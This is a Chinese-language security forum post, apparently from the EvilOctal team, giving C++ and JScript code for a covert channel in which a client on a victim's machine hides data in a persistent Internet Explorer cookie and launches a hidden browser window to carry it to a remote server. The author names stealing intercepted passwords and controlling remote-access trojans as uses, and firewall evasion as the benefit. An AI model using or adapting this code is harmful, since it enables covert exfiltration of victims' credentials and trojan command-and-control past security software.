文章作者:记忆碎片 [E.S.T顾问团]
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
这是我在“技术讨论”区写的一篇议题的实现。
以下这个函数接受四个参数
- s_data : 要发送的数据
- r_data : 指针, 指向接收数据的缓冲区
- browser_path : 浏览器路径
- url: 要目的地址
过程很简单。首先,客户端 (安装在受害者机器上,情况如同反弹后门) 把要传递的数据作为永久Cookie写进,然后CreateProcess调用浏览器,IE接受一个命令行参数,指定了要访问的地址。浏览器会自动把Cookie发送到指定地址,通过HTTP Request 首部的 Cookie: 字段。然后,服务器通过Set-Cookie字段设置返回的Cookie,并用以下代码自动关闭浏览器。客户端再调用InternetGetCookie来获得返回的Cookie
复制内容到剪贴板
代码:
<SCRIPT Language="Jscript">
window.opener =4166;
self.close();
</SCRIPT> 服务器方面,可以使用标准的脚本语言如PHP来接受Cookie,这适用于小规模一次性的应用,例如发送截获的密码之类的,也可以listen在HTTP的端口然后分析Cookie字段,者比较适合交互式的数据传递,比如远程控制类的木马。
这种方法的优点嘛,在不需要进程注入和其他一些高级技巧的方法下绕过了软体防火墙进程检查和网络检查,缺点是反复创建销毁进程消耗不小。
希望你明白我在说什么。
复制内容到剪贴板
代码:
bool send_cookie (
LPCTSTR s_data,
LPSTR r_data,
LPCTSTR browser_path,
LPCTSTR url
)
{
string cookie_data("DATA=");
string cmd_line;
STARTUPINFO si;
PROCESS_INFORMATION pi;
DWORD dwSize = 0;
ZeroMemory( &pi, sizeof(pi) );
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
//Hide the window
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
cmd_line += browser_path;
cmd_line += " ";
cmd_line += url;
//Add in data and expiration date
cookie_data += s_data;
cookie_data += "; expires = Sat, 01-Jan-2010 00:00:00 GMT";
//Set Cookie
if(!InternetSetCookie( url, NULL, cookie_data.c_str( ) ) )
return false;
//Create browser proc, and wait
if( !CreateProcess( NULL, (char*)cmd_line.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ) )
return false;
WaitForSingleObject( pi.hProcess, INFINITE );
retry:
//Recive data
if (!InternetGetCookie(url, NULL, r_data, &dwSize))
{
// Check for an insufficient buffer error.
if (GetLastError()== ERROR_INSUFFICIENT_BUFFER)
{
// Allocate the necessary buffer.
r_data = new char[dwSize];
// Try the call again.
goto retry;
}
else
{
delete[] r_data;
return false;
}
}
return true;
}